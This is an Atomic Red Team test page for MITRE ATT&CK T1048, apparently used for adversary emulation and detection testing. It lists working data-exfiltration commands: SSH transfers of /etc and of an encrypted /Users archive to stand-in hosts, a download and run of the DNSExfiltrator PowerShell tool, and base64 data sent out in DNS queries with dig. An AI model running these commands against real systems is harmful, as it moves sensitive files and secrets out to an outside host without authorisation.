204 lines
6.4 KiB
Markdown
204 lines
6.4 KiB
Markdown
# T1048 - Exfiltration Over Alternative Protocol
|
|
## [Description from ATT&CK](https://attack.mitre.org/techniques/T1048)
|
|
<blockquote>
|
|
|
|
Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.
|
|
|
|
Alternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Adversaries may also opt to encrypt and/or obfuscate these alternate channels.
|
|
|
|
[Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048) can be done using various common operating system utilities such as [Net](https://attack.mitre.org/software/S0039)/SMB or FTP.(Citation: Palo Alto OilRig Oct 2016) On macOS and Linux <code>curl</code> may be used to invoke protocols such as HTTP/S or FTP/S to exfiltrate data from a system.(Citation: 20 macOS Common Tools and Techniques)
|
|
|
|
Many IaaS and SaaS platforms (such as Microsoft Exchange, Microsoft SharePoint, GitHub, and AWS S3) support the direct download of files, emails, source code, and other sensitive information via the web console or [Cloud API](https://attack.mitre.org/techniques/T1059/009).
|
|
|
|
</blockquote>
|
|
|
|
## Atomic Tests
|
|
|
|
- [Atomic Test #1 - Exfiltration Over Alternative Protocol - SSH](#atomic-test-1---exfiltration-over-alternative-protocol---ssh)
|
|
|
|
- [Atomic Test #2 - Exfiltration Over Alternative Protocol - SSH](#atomic-test-2---exfiltration-over-alternative-protocol---ssh)
|
|
|
|
- [Atomic Test #3 - DNSExfiltration (doh)](#atomic-test-3---dnsexfiltration-doh)
|
|
|
|
- [Atomic Test #4 - Exfiltrate Data using DNS Queries via dig](#atomic-test-4---exfiltrate-data-using-dns-queries-via-dig)
|
|
|
|
|
|
<br/>
|
|
|
|
## Atomic Test #1 - Exfiltration Over Alternative Protocol - SSH
|
|
Input a domain and test Exfiltration over SSH
|
|
|
|
Remote to Local
|
|
|
|
Upon successful execution, sh will spawn ssh contacting a remote domain (default: target.example.com) writing a tar.gz file.
|
|
|
|
**Supported Platforms:** macOS, Linux
|
|
|
|
|
|
**auto_generated_guid:** f6786cc8-beda-4915-a4d6-ac2f193bb988
|
|
|
|
|
|
|
|
|
|
|
|
#### Inputs:
|
|
| Name | Description | Type | Default Value |
|
|
|------|-------------|------|---------------|
|
|
| domain | target SSH domain | url | target.example.com|
|
|
|
|
|
|
#### Attack Commands: Run with `sh`!
|
|
|
|
|
|
```sh
|
|
ssh #{domain} "(cd /etc && tar -zcvf - *)" > ./etc.tar.gz
|
|
```
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<br/>
|
|
<br/>
|
|
|
|
## Atomic Test #2 - Exfiltration Over Alternative Protocol - SSH
|
|
Input a domain and test Exfiltration over SSH
|
|
|
|
Local to Remote
|
|
|
|
Upon successful execution, tar will compress /Users/* directory and password protect the file modification of `Users.tar.gz.enc` as output.
|
|
|
|
**Supported Platforms:** macOS, Linux
|
|
|
|
|
|
**auto_generated_guid:** 7c3cb337-35ae-4d06-bf03-3032ed2ec268
|
|
|
|
|
|
|
|
|
|
|
|
#### Inputs:
|
|
| Name | Description | Type | Default Value |
|
|
|------|-------------|------|---------------|
|
|
| user_name | username for domain | string | atomic|
|
|
| password | password for user | string | atomic|
|
|
| domain | target SSH domain | url | target.example.com|
|
|
|
|
|
|
#### Attack Commands: Run with `sh`!
|
|
|
|
|
|
```sh
|
|
tar czpf - /Users/* | openssl des3 -salt -pass #{password} | ssh #{user_name}@#{domain} 'cat > /Users.tar.gz.enc'
|
|
```
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<br/>
|
|
<br/>
|
|
|
|
## Atomic Test #3 - DNSExfiltration (doh)
|
|
DNSExfiltrator enables the transfer (exfiltration) of a file over a DNS request covert channel. This is basically a data leak testing tool allowing to exfiltrate data over a covert channel.
|
|
!!! Test will fail without a domain under your control with A record and NS record !!!
|
|
See this github page for more details - https://github.com/Arno0x/DNSExfiltrator
|
|
|
|
**Supported Platforms:** Windows
|
|
|
|
|
|
**auto_generated_guid:** c943d285-ada3-45ca-b3aa-7cd6500c6a48
|
|
|
|
|
|
|
|
|
|
|
|
#### Inputs:
|
|
| Name | Description | Type | Default Value |
|
|
|------|-------------|------|---------------|
|
|
| password | Password used to encrypt the data to be exfiltrated | string | atomic|
|
|
| domain | The domain name to use for DNS requests | string | target.example.com|
|
|
| ps_module | DNSExfiltrator powershell ps_module | path | PathToAtomicsFolder\..\ExternalPayloads\dnsexfil.ps1|
|
|
| doh | Google or CloudFlare DoH (DNS over HTTP) server | string | google|
|
|
| time | The time in milliseconds to wait between each DNS request | string | 500|
|
|
| encoding | Set to '-b32' to use base32 encoding of data. Might be required by some DNS resolvers. | string | |
|
|
|
|
|
|
#### Attack Commands: Run with `powershell`!
|
|
|
|
|
|
```powershell
|
|
Import-Module "#{ps_module}"
|
|
Invoke-DNSExfiltrator -i "#{ps_module}" -d #{domain} -p #{password} -doh #{doh} -t #{time} #{encoding}
|
|
```
|
|
|
|
|
|
|
|
|
|
#### Dependencies: Run with `powershell`!
|
|
##### Description: DNSExfiltrator powershell file must exist on disk at specified location (#{ps_module})
|
|
##### Check Prereq Commands:
|
|
```powershell
|
|
if (Test-Path "#{ps_module}") {exit 0} else {exit 1}
|
|
```
|
|
##### Get Prereq Commands:
|
|
```powershell
|
|
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
|
|
IWR "https://raw.githubusercontent.com/Arno0x/DNSExfiltrator/8faa972408b0384416fffd5b4d42a7aa00526ca8/Invoke-DNSExfiltrator.ps1" -OutFile "#{ps_module}"
|
|
```
|
|
|
|
|
|
|
|
|
|
<br/>
|
|
<br/>
|
|
|
|
## Atomic Test #4 - Exfiltrate Data using DNS Queries via dig
|
|
This test demonstrates how an attacker can exfiltrate sensitive information by encoding it as a subdomain (using base64 encoding) and
|
|
making DNS queries via the dig command to a controlled DNS server.
|
|
|
|
**Supported Platforms:** macOS, Linux
|
|
|
|
|
|
**auto_generated_guid:** a27916da-05f2-4316-a3ee-feec67a437be
|
|
|
|
|
|
|
|
|
|
|
|
#### Inputs:
|
|
| Name | Description | Type | Default Value |
|
|
|------|-------------|------|---------------|
|
|
| dns_port | Attacker's DNS server port | integer | 53|
|
|
| attacker_dns_server | Attacker's DNS server address | string | 8.8.8.8|
|
|
| secret_info | secret info that will be exfiltirated | string | this is a secret info|
|
|
|
|
|
|
#### Attack Commands: Run with `bash`!
|
|
|
|
|
|
```bash
|
|
dig @#{attacker_dns_server} -p #{dns_port} $(echo "#{secret_info}" | base64).google.com
|
|
```
|
|
|
|
|
|
|
|
|
|
#### Dependencies: Run with `bash`!
|
|
##### Description: dig command
|
|
##### Check Prereq Commands:
|
|
```bash
|
|
which dig
|
|
```
|
|
##### Get Prereq Commands:
|
|
```bash
|
|
which apt && sudo apt update && sudo apt install -y bind9-dnsutils || which yum && sudo yum install -y bind-utils || which dnf && sudo dnf install -y bind-utils || which apk && sudo apk add bind-tools || which pkg && sudo pkg update && sudo pkg install -y bind-tools || which brew && brew update && brew install --quiet bind
|
|
```
|
|
|
|
|
|
|
|
|
|
<br/>
|